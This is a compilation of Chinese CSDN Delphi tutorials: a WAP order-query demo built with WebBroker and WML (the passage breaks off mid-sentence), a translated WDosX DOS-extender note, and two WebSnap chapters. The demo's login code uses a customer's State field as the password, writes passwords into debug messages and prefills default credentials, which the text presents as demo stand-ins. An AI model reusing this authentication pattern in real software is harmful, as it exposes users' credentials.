---- 这个DBDEMOS数据库允许访问一个关于海上冒险的潜水设备转售的虚拟用户和订单数据库。这个例程允许WAP手机用户来浏览一个实时的给出的用户的订单信息。这个例程的名字叫："海上冒险订单在线查询系统"，或者简称为MAOOQS（关于下载的详细信息，请看本文结尾的详细细节） 。

---- 登录到海上冒险程序

---- 当你想使用MAOOQS的时候，在你的WAP手机上（或者是在WAP的开发工具中）输入http://myserver/login.wml，这时WML浏览器交要的显示一个"Welcome to" 屏幕，然后会出现一个登录屏幕，"Welcome to" 和登录卡的WML源代码如下所示：

< card id="welcome" title="Welcome to" newcontext="true"
ontimer="#login" >
< timer value="30"/ >
< p align="center" >
< big >MA's On-line< /big >< br/ >
< em >Order Query System< /em >
< /p >
< /card >

< card id="login" title="Login" newcontext="true" >
< p >
< em >Enter your ID:< /em >< br/ >
< input name="custid" value="1221" maxlength="4"
format="*N" emptyok="false"/ >
< em >Enter your password:< /em >< br/ >
< input name="password" value="HI" maxlength="10"
format="*M" emptyok="true"/ >
< br/ >
< do type="accept" label="Login" >
< go method="post" href="/scripts/ma_ooqs.dll/login" >
< postfield name="custid" value="$(custid)"/ >
< postfield name="password" value="$(password)"/ >
< /go >
< /do >
< /p >
< /card >

---- 登录屏幕包括两个输入字段，一个是用户的ID ，另外一个是密码。这两个字段是使用WML的< INPUT >标识符来创建的，用户输入的各种各样的名字是由NAME属性定义的。
---- < DO >标识符定义了一个< go >的作用，它指向例程的ISAPI 的DLLS（确省的路径是/scripts/ma_ooqs.dll）。< go >使用标准的http 的post命令来发送用户输入的数据到这个dll中。注意< postfield >标识符自动的指示浏览器通过http协议来翻译用户输入的$(custid)和$(password) 变量。

---- 当用户点击登录命令的时候，这个wap手机连接到这个dll，这样使得这个dll执行如图所示的登录动作。首先，代码从Request.ContentFields 属性中提取出custid 和password字段。当被确认之后，（又专门的数据库来保存这些信息，通过遍历数据库的方法来确认它，这个遍历的函数是IsValidCustID，如下代码说示

function TMAWebModule.IsValidCustID
(CustID, Password: string): Boolean;
begin
DebugMessage('IsValidCustID:'#13'CustID="' + CustID +
#13'Password="' + Password +' "');
Result := False;
with Customer do begin
try
Open;
if Locate('custno',CustID,[]) then
if (LowerCase(CustomerState.AsString) =
LowerCase(Password)) then
Result := True;
finally
Close;
end;
end;
end;

procedure TMAWebModule.MAWebModuleLoginAction(
Sender: TObject; Request: TWebRequest;
Response: TWebResponse; var Handled: Boolean);
var
CustID, Password : string;
begin
CustID := Request.ContentFields.Values['custid'];
Password := Request.ContentFields.Values['password'];
{ Check validity of custid/password. }
with Response do begin
if IsValidCustID(CustID,Password) then
begin
DebugMessage('CustID/Password is valid.');
MAWebModuleMainMenuAction(Sender, Request,
Response, Handled);
end
else
begin
DebugMessage('Invalid CustID/Password pair.');
ContentType := MIMETypeWML;
Content := InvalidIDPageWML;
end;
end;
Handled := True;
end;

---- 由于DBDEMOS数据库不包含真实的用户ID和相应的密码，例程使用客户表Customer 中的的CustNo字段来做ID,使用State字段来作相应的密码。为测试这个意图，你可以使用如下的ID 和PASSWORD："1221" and "HI"; "1560" and "FL"; and "1680" and "GA." 返回到浏览器上的WML代码
---- 一般的，WebBroker应用通过对在OnAction事件句柄中的Response对象的控制返回一些简单的HTML代码到浏览器中，。TWebResponse类通过Response 参数的一个Content 属性来表示，它可以接收被这个事件句柄创建的HTML代码。

---- 当用户的浏览器接收数据的时候，它根据它的MIME类型(Multipurpose Internet Mail Extensions)来处理它。TWebResponse 类的MIME类型缺省类型是"text/html"，它指定Content 属性的数据类型，确实的是，HTML代码。

---- 但是，WAP应用需要WML(version1.1)的数据的MIME类型"text/vnd.wap.wml." 因此，Response 对象的ContentType属性需要被改变。注意，ContentType 属性可以被改变成任何有效的MIME类型。例如：改变该属性为"image/gif" 就会允许改动作返回一个位图的图像数据（binary.gif）。

---- 当定义好正确的MIME类型后，该动作事件的句柄就会清楚的设置Content 属性可包含有效的WML代码。由于每一个由application产生的WML页都需要一个公共的题头，这个例程定义了一个名字是WMLHeader 的常量来包含这个信息。

---- 存储返回到数据库中的数据当用户成功登录之后，用户重新回到海上探险的主菜单。通过这个菜单，用户可以选择查看客户的信息或者是订单的状态。如果客户选择用户信息的超链接，将执行MAWebModule Web 模块的 CustInfoAction方法的这个定义过的方法。

---- 首先，代码返回到随着post http命令的CustNo参数，当登录的用户的信息在客户表中被查找到以后，代码创建包括三个输入字段的WML代码。最初，三个输入字段包括客户的zip号码，城市，和state,（记着，这个state是口令）. 用户可以调整这三个字段，他可以通过选择"Modify Info"命令，用户可以保存新的值返回到数据库。当用户选中这条命令的时候，将执行ModifyCustAction 方法。（见下图）

---- 在Delphi IDE 中的 MAWeb模块

procedure TMAWebModule.MAWebModuleModifyCustAction(
Sender: TObject; Request: TWebRequest;
Response: TWebResponse; var Handled: Boolean);
var CustID, State, City, Zip : string;
begin
CustID := Request.ContentFields.Values['custid'];
State := Request.ContentFields.Values['State'];
City := Request.ContentFields.Values['City'];
Zip := Request.ContentFields.Values['Zip'];
with Response do begin
ContentType := MIMETypeWML;
try
if LocateCustomer(CustID) then
begin
DebugMessage('Saving customer data:'#13 +
'CustID="' + CustID + '"'#13 +
'State="' + State + '"'#13 +
'City="' + City + '"'#13 +
'Zip="' + Zip + '"'#13);
Customer.Edit;
CustomerState.AsString := State;
CustomerCity.AsString := City;
CustomerZip.AsString := Zip;
Customer.Post;
Content := WMLHeader +
'< card id="modifyok" title="Info ' +
'Modified" newcontext="true" >' + CRLF +
' < onevent type="ontimer" >' + CRLF +
' < go method="post" ' +
'href="/scripts/ma_ooqs.dll/mainmenu" >' +
CRLF + ' < postfield name="custid" ' +
'value="' + HTTPEncode(CustID) + '"/ >' + CRLF +
' < /go >' + CRLF + ' < /onevent >' + CRLF +
' < timer value="30"/ >' + CRLF + ' < p >' +
CRLF + ' < b >Customer info succesfully '+
'modified.< /b >< br/ >' + CRLF + ' < /p >' + CRLF +
'< /card >' + CRLF + CRLF + '< /wml >' + CRLF;
end
else
Content := InvalidIDPageWML;
finally
Customer.Close;
end;
end;
Handled := True;
end;

---- figure6:存储用户输入的数据到customer表中。
---- 这段代码从Request.ContentFields 属性中提取新的客户信息，然后在Customer 表中查找正确的客户记录，然后调用Edit方法把这个表转入dsEdit状态，设置字段值（fields）,最后调用Post方法提交记录。

---- 测试海上冒险程序为测试这个程序，你需要有一个Web服务器，它上面能运行ISAPI系统。这个例程已经在Microsoft IIS4.0下测试通过，但她应该也能够在其他的兼容产品上或者是IIS的其他版本的系统上运行。除了这台Web服务器之外，你还需要下在并安装Nokia WAP Toolkit version 1 。（截稿时，Nokia WAP Toolkit 1.3 的测试版本提供下载）。这个产品可以从Nokia的WAP站点免费下载 (Http://www.delphizine.com/include/Click_Redir.asp?Url=http://www.forum.nokia.com/. ) 这个开发工具不需要安装在和WEB服务器的同一台计算机上，因为说有它需要的仅仅是能通过IP网络连接到WEB服务器。当这个WAP开发工具打开时，他会显示一个欢迎项目（参见图2）。这个开发系统能模拟两个移动电话模块。为实现MAOOQS，使用这个开发工具参数菜单命令选择Nokia 6110型的电话。

---- 为定位这个程序的登录屏幕，从Go菜单的中选中Load Location command ，键入登录的login.wml文件的URL：http://localhost/login.wml.注意在做这些操作之前，这个login.wml文件需要被拷贝到web服务器的publish目录的根目录下面，不用说这时这台web服务器比喻已经成功的运行MAOOQS。

---- 下图显示的是我们的测试的海上探险应用程序的相关的屏幕。当这个login.wml文件被成功的登录之后，你将很快看到步骤1中的"Welcome to" 屏幕，几秒钟后，屏幕自动切换到step 2,为在输入字段中输入文本，点击wap电话键盘区的左上角的蓝色的"/"符号。点中之后，wap电话屏幕的左下角写的是"Edit"，如果它写的是"Login"，你需要点击上、下箭头按钮，因为这时不是编辑状态。

---- 当成功点中Edit 命令时，屏幕显示如step3所示的完整的文本输入编辑器。customer ID 字段只能输入数字，所以点击数字键一一输入相应的数字，如果你输入出错的话，右边的"/" 可以擦去最后一个字符。password 字段中可以输入字母和数字，所以你就输入相应的的password，有时你可能需要重复点击数字键以输入字母，例如：如果你需要输入字母"B"，你需要快速点击按钮"1"两次惨能够输入这个字母。如果你使用移动电话输入文本的话，你就必须知道这种输入文本的方法。

---- 上图是Nokia 6110手机扩大的屏幕，这些step简介在MAOOQS程序中出现的次序从dll来的请求数据

---- 当the customer ID 和password 成功输入后，你将发现屏幕又出现了step 2中的画面。 稍稍等待"Login" 命令被激活，然后点击"/"按钮来选中命令，这将处理这个登录过程选中Login 命令来使得这台wap移动电话连接到web服务器的/scripts/ 目录中的 MA_OOQS ISAPI应用程序，当然了，这时ISAPI DLL 已经被放置到web服务器的/scripts/ 目录中，并且这台web服务器有足够的权限正常执行这些dll，如果每一步都很正常的话，这台wap移动电话就会接受到从dll返回回来的正常的wml数据。如果输入了不正确的customer ID 或者 password两者中任一项的话，就会显示如 setp 4中所示的屏幕，显示出不正确的ID屏幕；正常的话，显示如step 5中所示的主菜单。

---- wap移动电话上的箭头键是的你可以选择菜单命令中的项。点击"/"按钮，屏幕会显示如step 6所使得用户信息的屏幕，或者是订单细节的如step 9中的屏幕。再次按下"/"允许你在这三个页面之间相互切换。如果你使用如step 7中的屏幕中的Modify Info 命令来改变客户的信息的话，你将看到如setp 8所示的调整窗口。值得注意的是，wap设备通常没有"log out"


CSDN_文档中心_WDosX与Borland Delphi

WDosX与Borland Delphi

（Delphi for DOS 是基于一个叫WDosX的保护模式扩展器。WDosX扩展器不仅支持Delphi，同时支持C++Builder、TASM、VC++等几乎所有能够生成控制台应用程序的编译器，这里仅译出关于delphi的部分说明，以供参考。 ——FreeWizard）
WDosX被设计为在dos下执行delphi程序，但并非Turbo Pascal语言，而是基于delphi的Object Pascal语言，像class，exception等都支持。
无论在纯dos模式还是在windows下的dos方式，WDosX都将仿真Win32API调用，这意味着你可以随心所欲的使用中断和直接写屏幕缓冲区等只有在dos下才能做的事。（FreeWizard：是不是有点兴奋了？^_^）
使用方法：
1.编译：dcc32 -cc yourprog.dpr
2.生成dos执行文件：stubit yourprog.exe （FreeWizard：也可以在IDE的菜单Tools中运行我做的附件：Delphi for DOS）
当然，你也可以用{$APPTYPE CONSOLE}指示符在IDE中编译，但请别忘了去掉uses子句中的所有窗口单元，连主窗口与FORMS也不例外，否则WDosX抱怨无法注册窗口类、OLE服务和诸如此类，可别怪我。（FreeWizard：如果用了我的“添加剂”，就只要在New中的Projects页上双击Dos Application就行了！）
你的最终执行文件需要集成Win32API仿真库或者将它们一道发布，这些模块位于BIN目录：kernel32.wdl user32.wdl oleaut32.wdl advapi32.wdl WDL文件就是DLL文件改了扩展名。
当你使用stubit“加工”你的程序时，stubit会自动在当前目录和stubit.exe所在目录搜索上述模块，并将其与生成文件合并；若未找到则给出警告，你可以用wadd.exe自行添加。
WDosX 0.95 附带dos与crt单元，并支持Mem与Port仿真数组，不过Mem数组已成为一维线性，例如VGA缓存mem[$A000:0000]应改为mem[$A0000]，计算方法： new_offset=old_seg shl 4 + old_offset （FreeWizard：尽管WDosX支持4G寻址，但delphi只支持2G-1大小的数组，不过谁有那么多内存？ :P ）

可能出现的问题——

  1. 16位tpu文件无法使用：这是当然。若有源代码可将其编译为dcu文件。
  2. 不支持FPU仿真：没办法，delphi编译器不支持，有些机器（386/486SX/586NX）上只好用软件仿真。
  3. 载入程序时出现“Unsupported dynalink”（不支持的动态连接）后跟一API函数名：这意味着你的程序使用了一个windows支持但WDosX不支持的API调用。
  4. 运行时出现：“EXCEPTION 03”（异常03）：这说明你使用了一个我未曾想到的调用，尝试着根据显示的模块名和寄存器值找出问题所在，有时候可能是你的程序引入了一个事实上从未调用过的函数。
  5. 运行时出现其他CPU异常：这未必是你的错误，请先确认你的代码一切正常，再告知我。
  6. 其它问题：尝试用WuDebug解决，祝你好运！

（FreeWizard：本文译自WDosX0.95文档，更详细的资料请参见WDosX文档和站点http://fwfc.yeah.net）


CSDN_文档中心_Web Application 開 發 利 器 - WebSnap（八）

Web Application 開 發 利 器 - WebSnap!

第 捌 章 、 LocateFileService 元 件

LocateFileService 的 用 途 相 當 簡 單 ， 當 Page Module 要 取 得 Template 時 ， 她 會 先 取 得 LocateFileService 的 介 面 再 送 出 檔 案 要 求 給 她 ， 這 個 檔 案 要 求 有 兩 種 ， 一 種 是 你 在 HTML Template 中 使 用 了 以 下 的 命 令 碼 :

<!-- #include file="..\include\StdDemoHeader.html" -->

另 一 種 是 在 Page Module 要 取 得 HTML Template 時 ， 這 有 許 多 用 途 ， 有 些 時 候 我 們 希 望 將 HTML Template 隱 藏 起 來 ， 例 如 隱 藏 在 其 它 的 目 錄 中 ， 來 訪 者 就 不 能 夠 以 URL 直 接 取 得 我 們 的 Template File ， 或 是 直 接 將 Template File 放 在 程 式 的 Resource 區 段 ， 執 行 時 動 態 取 出 ， 在 Demo/Websnap 中 就 有 這 樣 的 範 例 ， 甚 至 有 時 我 們 想 將 Template 寫 死 在 程 式 中 ， 這 些 時 候 我 們 可 以 利 用 LocateFileService 的 三 個 事 件 來 處 理 :

8-1 LocateFileService 的 事 件

OnFindTemplateFile

在 範 例 中 有 一 個 DemoLocateService PageModule ， 她 的 HTML Template File 是 uDemoLocateService.html ， 我 希 望 將 她 放 在 使 用 者 無 法 讀 取 的 目 錄 中 :

procedure THome.LocateFileService1FindTemplateFile(ASender: TObject;

AComponent: TComponent; const AFileName: String; var AFoundFile: String;

var AHandled: Boolean);

var

I:Integer;

fs:TFileStream;

FN: array[0..255] of char;

AppPath:string;

begin

GetModuleFileName(hInstance,FN,SizeOf(FN));

AppPath:=ExtractFileDir(FN);

if AFileName = 'uDemoLocateService.html' then

AFoundFile:=AppPath+'\Template\uDemoLocateService.html';

end;

上 面 的 程 式 碼 促 使 Page Module 使 用 \Template\uDemoLocateService.html 這 個 檔 案 ， 而 不 是 原 來 的 uDemoLocateService.html 。

OnFindIncludeFile

這 個 事 件 會 在 你 的 HTML Template 中 含 有 include file 命 令 時 被 觸 發 ， 處 理 方 式 與 上 面 的 FindTemplateFile 相 同 。

OnFindStream

與 OnFindTemplateFile 觸 發 時 機 相 同 ， 不 過 我 們 可 以 用 Stream 來 代 替 實 際 檔 案 ， 這 在 我 們 將 HTML Template 寫 在 程 式 中 ， 或 是 由 Resource 中 取 出 HTML Template 時 使 用 。

本 章 後 記

LocateFileService 很 簡 單 ， 但 卻 相 當 有 用 ， 我 們 可 以 利 用 她 來 撰 寫 一 些 需 要 動 態 改 變 網 頁 內 容 ， 亦 或 是 需 要 隱 藏 HTML Template 時 ， 多 虧 了 她 ， 你 少 寫 了 許 多 的 程 式 碼 。

<第 玖 章 、 圖 形 及 超 連 結>


CSDN_文档中心_Web Application 開 發 利 器 - WebSnap（二）

Web Application 開 發 利 器 - WebSnap!

第 二 章 、 第 一 個 WebSnap 程 式

2-1 、 起 步 走

前 面 談 了 許 多 理 論 ， 這 一 章 我 們 就 開 始 來 撰 寫 我 們 的 第 一 個 WebSnap Application ， 首 先 讓 我 們 開 啟 New Items Dialog ， 接 著 切 換 到 WebSnap 頁 後 ， 你 會 看 到 以 下 的 畫 面 :

DELPHI 6 提 供 了 三 個 WebSnap Wizard 來 加 快 我 們 開 發 程 式 的 速 度 ， 這 裡 請 你 選 擇 WebSnap Application 來 建 立 一 個 新 的 WebSnap Application Project 。

從 左 邊 的 畫 面 上 我 們 可 以 看 到 Server Type 這 個 選 項 ， 為 了 方 便 以 後 除 錯 ， 請 你 選 擇 WebAppDebuger 並 輸 入 一 個 CoClassName 。 接 著 讓 我 們 看 看 第 二 區 段 的 選 項 ， 在 這 裡 我 們 可 以 看 到 有 Page Module 及 Data Module 兩 種 Module 可 以 選 擇 ， 這 些 就 是 我 們 在 上 一 節 中 所 討 論 過 的 Application Module 。 這 個 範 例 中 我 們 的 Application Module 必 須 要 能 輸 出 一 個 網 頁 ， 因 此 請 你 選 擇 Page Module ， 這 會 使 DELPHI 產 生 出 一 個 Application Page Module ， 這 就 是 我 們 的 首 頁 。 同 時 在 右 下 角 處 你 也 可 以 看 到 一 個 Components 按 紐 ， 執 行 她 後 就 會 開 出 右 邊 的 視 窗 ， 在 這 個 視 窗 中 可 以 讓 我 們 選 擇 將 放 在 Module 中 的 元 件 。 這 裡 讓 我 簡 單 的 解 釋 一 下 這 些 元 件 所 代 表 的 意 義 :

Application Adapter

這 個 元 件 中 封 裝 了 Application 資 訊 ， 例 如 Title 資 訊 等 。 由 於 Application Module 會 在 每 一 次 的 Client Request 到 達 後 被 活 化 ， 所 以 我 們 也 可 以 利 用 TApplicationAdapter 的 Data 、 Actions 特 性 值 來 存 放 一 些 全 域 型 的 資 料 或 是 Action 操 作 。

End User Adapter

這 個 元 件 是 封 裝 了 使 用 者 管 理 及 權 限 控 制 的 Adapter ， 負 責 使 用 者 的 Login/Logout 及 權 限 控 制 。 當 Dispatcher 在 將 Client Request 交 給 任 何 一 個 Module 之 前 ， 必 須 利 用 她 來 確 認 該 使 用 者 是 否 有 權 利 進 入 這 個 Module 。 WebSnap 中 提 供 了 兩 個 這 類 型 的 Adapter ， 一 個 是 TEndUserAdapter 另 一 個 則 是 會 將 使 用 者 資 料 存 放 在 Session 中 的 TEndUserSessionAdapter 。

Page Dispatcher

這 個 元 件 負 責 解 析 Client Request 中 的 Page Request 資 訊 ， 接 著 找 到 正 確 的 Page Module 後 將 要 求 導 向 至 正 確 的 Page Module 中 。

Adapter Dispatcher

Adapter Dispatcher 負 責 解 析 Client Request 中 的 Action 資 訊 ， 並 找 到 Action 所 在 的 Module 及 Action 元 件 後 執 行 該 Action 。 例 如 使 用 者 按 下 了 某 一 個 Button ， 而 該 Button 連 結 到 某 一 個 Action ， 那 這 個 要 求 就 會 被 送 往 Adapter Dispatcher 。

Dispatch Actions

這 個 元 件 屬 於 WebBroker 時 代 就 有 的 元 件 ， 本 文 中 我 們 不 會 討 論 這 個 元 件 ， 你 可 以 在 李 老 師 的 書 中 找 到 使 用 的 方 法 。

Locate File Service

這 個 元 件 提 供 了 檔 案 管 理 功 能 ， 如 Script 中 的 Include File 命 令 ， 或 是 取 得 HTML Template File 動 作 ， 都 會 經 由 這 個 元 件 來 運 作 。

Sessions Service

主 要 是 提 供 Session 的 支 援 ， 當 你 的 Application Module 含 有 此 元 件 時 ， 就 代 表 你 的 Application Module 擁 有 處 理 Session 的 能 力 。

User List Service

這 個 元 件 中 儲 存 了 使 用 者 資 料 並 提 供 確 認 使 用 者 資 料 的 功 能 函 式 ， TLoginAdapterForm 元 件 會 先 利 用 這 個 元 件 來 確 認 使 用 者 資 料 ， 之 後 再 使 用 TEndUserAdapter 元 件 來 完 成 整 個 Login 的 動 作 。

這 個 範 例 中 我 們 只 需 要 勾 選 三 個 元 件 :ApplicationAdapter 、 Page Dispatcher 以 及 Adapter Dispatcher 。 選 定 後 按 下 OK 按 紐 後 就 會 回 到 左 邊 的 視 窗 中 ， 接 著 請 你 點 選 Page Options 按 紐 ， 開 出 下 面 這 個 視 窗 :

這 個 視 窗 中 的 選 項 可 以 讓 我 們 設 定 Page Module 的 資 訊 以 及 輸 出 網 頁 用 的 PageProducer 元 件 ， 在 這 個 範 例 中 我 選 擇 了 TPageProducer 以 及 使 用 JScript 語 言 。 接 下 來 的 HTML 區 段 可 以 讓 我 們 設 定 是 否 要 產 生 一 個 新 的 HTML File 及 HTML Template 的 樣 式 ， 請 你 在 Template 部 份 選 擇 Standard Template ， 這 可 以 令 DELPHI 產 生 出 標 準 的 HTML Template File 。 另 外 在 Page 區 段 中 我 們 還 可 以 設 定 Page 的 Name 及 Title 這 兩 個 特 性 值 ， Name 是 Module 的 名 稱 ， Title 則 是 顯 示 於 網 頁 上 的 標 題 字 串 。 這 個 區 段 的 下 方 還 有 Published 及 Login Required 兩 個 選 項 ， Published 是 用 來 控 制 這 個 Page 是 否 是 公 開 的 ， 當 Published 被 Disable 時 ， 這 個 Page 就 會 被 隱 藏 起 來 ， 使 用 者 也 就 不 能 以 URL 來 訪 問 這 個 Page 了 。 在 某 些 情 況 下 我 們 可 以 利 用 一 些 技 巧 將 這 個 Page 輸 出 至 使 用 者 的 瀏 覽 器 ， 這 通 常 使 用 於 動 態 產 生 的 網 頁 或 是 保 密 型 的 網 頁 中 。 Login Required 則 是 代 表 進 入 這 個 Page 之 前 ， 使 用 者 是 否 需 要 先 經 過 Login 的 動 作 ， 如 果 你 將 Application Module 標 示 為 需 要 先 Login 後 才 能 進 入 的 Page Module 時 ， 使 用 者 一 定 要 先 Login 後 才 能 進 入 你 的 網 站 ， 這 個 範 例 中 我 們 使 用 預 設 值 就 可 以 了 (Login Required = False) 。 按 下 OK 後 就 會 回 到 最 初 的 視 窗 中 ， 我 們 再 看 到 Caching 這 個 選 項 部 份 ， 這 個 選 項 控 制 Module 執 行 完 畢 後 是 要 存 留 在 記 憶 體 中 或 是 立 刻 釋 放 。 如 果 你 使 用 的 Server Type 是 CGI 的 話 ， 因 為 CGI 程 式 的 特 性 是 在 執 行 後 立 刻 釋 放 記 憶 體 ， 所 以 這 個 選 項 對 你 就 沒 有 意 義 了 。 但 如 果 你 使 用 的 是 ISAPI 亦 或 是 Apache Share Module 時 ， 你 就 得 小 心 調 整 這 個 選 項 ， 選 擇 Cache Instance 雖 然 可 以 加 快 下 次 載 入 此 Module 的 速 度 ， 但 是 會 耗 費 一 些 記 憶 體 ， 因 此 請 小 心 的 調 整 這 個 選 項 。 我 們 通 常 都 會 將 Application Module 存 放 於 Cache 中 ， 因 為 她 是 最 常 用 的 Module ， 這 也 是 預 設 的 選 項 。 最 後 按 下 OK 按 紐 後 ， 我 們 就 完 成 這 個 WebSanp Application 的 第 一 步 建 立 工 作 了 :

DELPHI 6 的 IDE 環 境 中 提 供 了 編 輯 以 及 預 覽 HTML 的 能 力 ， 當 你 切 換 到 Home Unit 時 ， 你 應 該 可 以 在 Code Editor 下 方 看 到 5 個 Tab Page ， 請 你 切 換 到 .html 頁 ， 你 會 看 到 以 下 的 畫 面 :

除 了 可 以 在 IDE 中 顯 示 及 編 輯 HTML 外 ， 我 們 還 可 以 看 到 HTML 檔 案 中 有 類 似 ASP 的 Script 程 式 ， 這 就 是 WebSnap 的 主 要 功 能 之 一 ， 她 允 許 我 們 使 用 JScript 或 是 VBScript 來 撰 寫 網 頁 程 式 ， 而 且 可 以 在 裡 面 使 用 WebSnap 所 提 供 的 元 件 。 例 如 Page 與 Application 這 兩 個 元 件 就 是 對 應 到 TWebPageInfo 及 TApplicationAdapter ， 這 代 表 著 你 對 Page 及 Application 這 兩 個 Script Object 的 操 作 都 會 被 導 向 程 式 中 的 TWebPageInfo 及 TApplicationAdapter 之 中 ， 下 面 的 圖 是 WebSnap 產 生 HTML 文 件 的 流 程 :

( 圖 :4)

圖 4 中 我 們 可 以 看 到 PageProducer 在 取 得 Script Document 後 就 會 由 Scriptable-Object 產 生 出 Wrapper Object 後 ， 接 著 將 整 個 Script Document 交 由 Active Script Engine 解 譯 。 但 是 重 點 是 那 些 元 件 是 Scriptable-Object ， 那 些 又 不 是 呢 ? 就 技 術 上 來 說 ， 只 要 該 元 件 實 作 了 IGetScriptObject 這 個 介 面 並 輸 出 一 個 正 確 的 Wrapper 物 件 ， 那 這 個 元 件 就 算 是 Scriptable-Object 了 。 我 們 在 第 一 章 中 所 提 到 的 八 大 類 型 元 件 中 ， 除 了 Adapter 類 中 的 Adapter Control 不 是 之 外 ， 其 它 都 算 是 Scriptable Object 。 其 實 在 Script 中 我 們 操 作 的 真 正 對 象 是 由 Scriptable-Object 所 產 生 出 來 的 Wrapper 物 件 ， 她 會 將 Script 程 式 對 她 的 操 作 轉 交 給 真 正 的 物 件 :

( 圖 :5)

圖 5 中 你 可 以 發 現 到 ， TAdapterWrapper( 實 際 上 是 TWebApplicationWrapper ， 她 繼 承 至 TAdapterWrapper) 包 裝 了 TApplicationAdapter 元 件 ， 而 TAdapterFieldWrapper 則 包 裝 了 TAdapterField 元 件 。 以 Application.Today.Value 這 段 Script 程 式 來 解 釋 的 話 : Application 是 TApplicationAdapter 的 Wrapper 物 件 ， 而 TApplicationAdapter 擁 有 Today 這 個 TAdapterField 。 所 以 當 我 們 下 達 Application.Today 這 個 命 令 時 ， Application 這 個 Wrapper 物 件 呼 叫 了 TApplicationAdapter 來 取 得 Today 這 個 TAdapterField 並 且 建 立 一 個 TAdapterFieldWrapper 後 ， 傳 入 這 個 TAdapterField 物 件 ， 接 著 返 回 Script Engine 。 那 麼 Script Engine 就 可 以 經 由 TAdapterFieldWrapper.Value 取 得 TAdapterField.Value 值 了 ， 這 就 是 Scriptable-Object 的 運 作 方 式 。 讓 我 們 回 到 範 例 中 ， 到 這 裡 為 止 ， 我 們 已 經 完 成 了 一 個 簡 單 的 網 頁 ， 你 可 以 先 執 行 程 式 後 再 啟 動 WebAppDebuger ， 接 著 開 啟 IE/Netscape 來 瀏 覽 我 們 的 網 頁 。 啟 動 WebAppDebuger 的 詳 細 步 驟 可 以 在 我 的 前 幾 篇 文 章 中 找 到 說 明 ， 成 功 的 話 你 會 在 IE/Netscape 中 看 到 以 下 的 畫 面 :

在 DELPHI 的 IDE 中 我 們 也 可 以 設 定 編 輯 網 頁 的 外 部 程 式 ， 例 如 FrontPage 或 是 Dreamwaver 等 專 業 的 網 頁 編 輯 程 式 ， 這 很 方 便 。 要 擁 有 這 個 功 能 ， 我 們 必 須 調 整 開 發 環 境 的 一 些 設 定 ， 請 你 開 啟 Tools-Enviroment Options 並 選 擇 Internet 頁 ， 你 可 以 看 到 裡 面 有 兩 種 檔 案 格 式 :

HTML 與 XML ， 請 選 擇 HTML 後 按 下 Edit 按 紐 :

如 果 你 的 電 腦 上 有 安 裝 FrontPage 或 是 Dreamwaver 的 話 ， 你 應 該 可 以 在 Edit Action 列 表 中 看 到 她 們 。 請 選 擇 一 個 網 頁 編 輯 程 式 後 按 下 OK 後 回 到 IDE 中 ， 如 果 你 之 前 有 將 Internet Toolbar 顯 示 於 IDE 上 的 話 ， 你 就 可 以 馬 上 切 到 .html 頁 ， 點 選 External Edit 來 啟 動 網 頁 編 輯 程 式 。 如 果 沒 有 的 話 ， 請 你 在 Toolbar 上 按 右 鍵 選 擇 Internet 來 顯 示 Internet Toolbar:

Internet Toolbar

在 我 的 電 腦 上 安 裝 的 網 頁 編 輯 程 式 是 UltraDev ， 因 此 我 按 下 External Edit 按 紐 後 的 畫 面 如 下 :

接 下 來 就 是 網 頁 編 輯 的 工 作 啦 ， DELPHI 6 的 IDE 真 的 很 方 便 不 是 嗎 ? 如 果 網 頁 編 輯 的 人 不 是 你 自 己 的 話 ， 你 可 以 將 uHome.html 複 製 給 她 ， 設 計 完 成 後 再 放 回 你 的 專 案 目 錄 中 就 可 以 了 。

2-1 、 牛 刀 小 試 ， 簡 單 的 AdpterField 運 用

現 在 讓 我 們 回 到 DELPHI IDE 中 ， 現 在 我 們 有 個 問 題 ， 如 果 我 們 想 在 網 頁 中 顯 示 今 天 日 期 的 話 該 怎 麼 做 呢 ? 很 簡 單 ! 我 們 可 以 利 用 TAdapterField 與 JScript 來 完 成 這 個 工 作 。 請 切 換 到 Home Module 上 ， 在 TApplicationAdapter 元 件 中 你 可 以 發 現 到 Data 這 個 特 性 值 ， 雙 按 她 後 會 開 出 以 下 的 畫 面 :

我 們 可 以 在 這 個 Field Designer 視 窗 中 加 入 AdapterField 類 的 元 件 ， 請 在 設 計 畫 面 中 按 右 鍵 :

在 這 個 選 單 中 我 們 可 以 新 增 AdapterField 到 TApplicationAdapter 中 ， 請 你 先 選 擇 Add All Fields 這 個 選 項 ， 這 會 新 增 一 個 TApplicationTitleField 元 件 至 TApplicationAdapter 元 件 中 。 完 成 後 請 你 再 按 右 鍵 選 擇 New Component 選 單 :

請 選 擇 新 增 一 個 AdapterField 元 件 ， 接 著 我 們 再 設 定 這 個 AdapterField 元 件 的 特 性 值 :

在 這 個 程 式 中 ， 我 們 的 目 的 是 要 在 Script 中 使 用 這 個 AdapterField 來 取 得 當 天 的 日 期 。 因 此 我 們 要 為 這 個 AdapterField 撰 寫 取 得 日 期 的 事 件 ， 請 切 到 Events 頁 ， 撰 寫 OnGetValue 事 件 程 式 :

procedure THome.AdaptTodayGetValue(Sender: TObject;

var Value: Variant);

begin

Value:=DateToStr(Date);

end;

完 成 後 我 們 還 要 撰 寫 取 值 的 Script 程 式 ， 請 切 到 .html 頁 在 Application.Title 下 一 行 加 入 以 下 的 Script 程 式 :

<h2> 今 天 是 <%= Application.Today.Value %></h1>

編 譯 完 成 後 執 行 程 式 ， 你 應 該 可 以 看 到 這 樣 的 畫 面 :

很 簡 單 不 是 嗎 ? 以 往 要 達 到 這 種 效 果 我 們 得 先 寫 個 ASP Object ， 接 著 再 使 用 ASP 來 呼 叫 這 個 Object 。 過 程 中 不 但 要 使 用 兩 種 工 具 ， 還 得 注 意 COM 複 雜 且 難 懂 的 規 則 ， 有 了 WebSnap 之 後 ， 這 一 切 都 改 觀 了 。 我 們 既 可 以 得 到 ServerSide-Script 的 優 點 ， 又 可 以 使 用 熟 悉 的 元 件 架 構 及 DELPHI 來 設 計 網 頁 程 式 ， 這 大 大 的 增 加 程 式 師 的 產 能 。 在 這 個 範 例 中 ， 你 可 能 會 很 納 悶 為 何 我 們 新 增 的 AdapterField 使 用 方 式 與 使 用 Title 時 不 同 呢 ? 看 起 來 Title 的 使 用 方 式 似 乎 簡 單 的 多 了 。 這 是 因 為 ApplicationAdapter 的 Wrapper Object 特 別 輸 出 了 一 個 Title 的 特 性 值 來 直 接 傳 回 Title 的 值 ， 這 牽 扯 到 Wrapper Object 的 設 計 方 式 ， 我 們 等 到 Inside WebSnap 一 文 中 再 詳 細 討 論 這 部 份 。

2-3 、 計 算 機 ， AdapterField 與 AdapterAction 的 結 合

